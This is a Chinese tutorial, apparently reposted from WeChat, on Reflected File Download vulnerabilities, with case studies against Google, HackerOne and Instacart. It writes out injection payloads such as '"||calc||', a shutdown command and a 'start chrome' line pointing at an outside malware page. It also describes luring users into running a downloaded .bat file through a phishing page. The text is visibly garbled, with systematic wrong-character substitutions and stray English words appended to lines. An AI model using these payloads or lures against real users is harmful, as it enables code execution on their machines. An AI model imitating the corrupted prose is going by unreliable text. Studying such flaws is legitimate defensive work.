一、概念html
RFD,即Reflected File Download反射型文件下载漏洞,是一个2014年来自BlackHat的漏洞。这个漏洞在原理上相似XSS,在危害上相似DDE:攻击者能够经过一个URL地址使用户下载一个恶意文件,从而危害用户的终端PC。chrome
这个漏洞很罕见,大多数公司会认为它是一个须要结合社工的低危漏洞,但微软,雅虎,eBay,PayPal和其余许多公司认为这是一个中危漏洞。json
二、漏洞原理api
先从一个实例理解RFD漏洞,如Google搜索的返回包是json格式:服务器
可见咱们的输入在返回包处反射输出,若是输入payload”||calc||,返回:微信
到这仍没什么问题,但若是咱们尝试在命令行里运行这个回显内容,如xss
{"result":["q","rfd"||calc||","jayway"]}google
发如今显示“文件名或目录不存在”的同时,会执行咱们的管道符后的命令calc,弹出计算器。解析过程实际为:spa
因此和DDE的攻击方法相似,咱们最终要是让回显内容做为一个bat文件下载,这能够经过分号;或结合社会工程的方式实现:.net
注:URL中分号;是个保留字符,相似链接符,现已废除。
3、漏洞挖掘
根据漏洞触发的三个条件挖掘漏洞:
1)输入反射:用户输入被“反射”到响应内容。
2)文件名可控: URL容许并接受用户的其余输入,攻击者将其用于将文件扩展名设置为可执行扩展名。
3)下载:响应被做为文件里的内容进行下载,这里能够控制Content-Type或者在本身的服务器上建立一个HTML文件,设置download属性,诱导点击下载。
4、实战案例:
1) Google
这是Oren Hafif在google利用的例子。在facebook中插入的一个google超连接,以下形式内容:
https://www.google.com/s;/ChromeSetup.bat;/ChromeSetup.bat?gs_ri=psy-ab&q=%22%7c%7c%74….点击后会下载一个bat文件到本地,下载后直接运行效果以下:
成功执行了一个shutdown命令,先用了一个双引号闭合掉前面的不可控的双引号,而后利用||符号(命令行中||表示逻辑“或”)保证命令成功执行。
2) Hackerone
在编辑字段中输入text"|| calc ||:
保存,回到编辑543数据edit页面:
保留参数543,删除/edit,追加点.发现获得json回显,这里加上.bat:
因为由于这个连接返回json值而不是下载,因此这里能够在本身的服务器构造一个钓鱼html文件,设置为download属性,自动下载bat文件:
用户点击文件,由于连接来自可信地址,因此容易中招:
3) Instacart
关注json返回包,请求
https://www.instacart.com/api/v2/searches?cart_id=3471936&term=rfd&page=1
发现term参数回显:
{"meta":{"code":200,"source":"search_service","cluster":null},"data":{"term":"rfd","inventory_area_id":617,"items":[],"total_results":0,"aisles":[],"warehouses":[],"search_strategies":[],"tracking":{},"product_type_filter":false,"has_deals":false,"search_id":141585110},"pagination":{"total":0,"page":1,"per_page":50}}
将term参数设为:
"||start chrome davidsopas.com/poc/malware.htm||
建立html文件诱导下载:
当前,业界对RFD这个漏洞看法不一,危害上可能接近于self-xss,但结合社工等手段尤为在社交场合能形成的危害仍是能够很大的,原PDF可阅读原文。
本文分享自微信公众号 - 卓文见识(zhuowenjianshi)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。